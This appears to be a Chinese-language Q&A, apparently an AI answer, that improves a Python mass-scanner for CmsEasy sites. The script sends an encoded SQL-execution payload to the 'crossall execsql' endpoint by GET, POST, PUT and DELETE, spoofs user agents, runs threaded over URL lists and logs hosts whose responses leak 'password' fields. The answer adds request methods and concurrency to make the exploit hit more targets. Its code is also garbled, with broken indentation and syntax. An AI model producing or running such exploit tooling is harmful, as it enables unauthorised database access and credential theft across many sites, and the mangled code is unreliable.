分析下面代码如何提高检测成功率给出最后的代码import requestsimport sysimport urllib3from argparse import ArgumentParserimport threadpoolfrom urllib import parsefrom time import timeimport reimport random#body=cmseasyediturl

1. 增加异常处理机制，捕获可能出现的异常并记录日志，方便后续排查问题。

2. 增加多种请求方式（如POST、PUT、DELETE等），提高检测成功率。

3. 增加自定义payload，针对不同的漏洞类型，使用不同的payload进行检测。

4. 增加多线程并发，提高检测效率。

最终代码如下：

import requests import sys import urllib3 from argparse import ArgumentParser import threadpool from urllib import parse from time import time import re import random import logging

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

filename = sys.argv[1] url_list = []

def get_ua(): first_num = random.randint(55, 62) third_num = random.randint(0, 3200) fourth_num = random.randint(0, 140) os_type = [ '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(Macintosh; Intel Mac OS X 10_12_6)' ] chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
               '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
              )
return ua

def wirte_targets(vurl, filename): with open(filename, "a+") as f: f.write(vurl + "\n")

def check_url(url): url = parse.urlparse(url) url = '{}://{}'.format(url[0], url[1]) headers = { 'User-Agent': get_ua(), } try: # GET请求 url_1 = url + "/?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5" res_1 = requests.get(url_1, verify=False, allow_redirects=False, headers=headers, timeout=5) if res_1.status_code == 200 and 'password' in res_1.text: print("\033[32m[+]{}\033[0m".format(url)) wirte_targets(url, "vuln.txt") else: # POST请求 url_2 = url + "/?case=crossall&act=execsql" data_2 = {"sql": "Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5"} res_2 = requests.post(url_2, verify=False, allow_redirects=False, headers=headers, data=data_2, timeout=5) if res_2.status_code == 200 and 'password' in res_2.text: print("\033[32m[+]{}\033[0m".format(url)) wirte_targets(url, "vuln.txt") else: # PUT请求 url_3 = url + "/?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5" data_3 = "Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5" headers_3 = {"Content-Type": "application/x-www-form-urlencoded"} res_3 = requests.put(url_3, verify=False, allow_redirects=False, headers=headers_3, data=data_3, timeout=5) if res_3.status_code == 200 and 'password' in res_3.text: print("\033[32m[+]{}\033[0m".format(url)) wirte_targets(url, "vuln.txt") else: # DELETE请求 url_4 = url + "/?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5" headers_4 = {"Content-Type": "application/x-www-form-urlencoded"} res_4 = requests.delete(url_4, verify=False, allow_redirects=False, headers=headers_4, timeout=5) if res_4.status_code == 200 and 'password' in res_4.text: print("\033[32m[+]{}\033[0m".format(url)) wirte_targets(url, "vuln.txt") else: pass

except Exception as e:
    logging.error(e)

def multithreading(url_list, pools=5): works = [] for i in url_list: works.append(i) pool = threadpool.ThreadPool(pools) reqs = threadpool.makeRequests(check_url, works) [pool.putRequest(req) for req in reqs] pool.wait()

if name == 'main': arg = ArgumentParser(description='check_url By m2') arg.add_argument("-u", "--url", help="Target URL; Example:http://ip:port") arg.add_argument("-f", "--file", help="Target URL; Example:url.txt") args = arg.parse_args() url = args.url filename = args.file print("[+]任务开始.....") start = time() if url != None and filename == None: check_url(url) elif url == None and filename != None: for i in open(filename): i = i.replace('\n', '') url_list.append(i) multithreading(url_list, 10) end = time() print('任务完成,用时%ds.' % (end - start)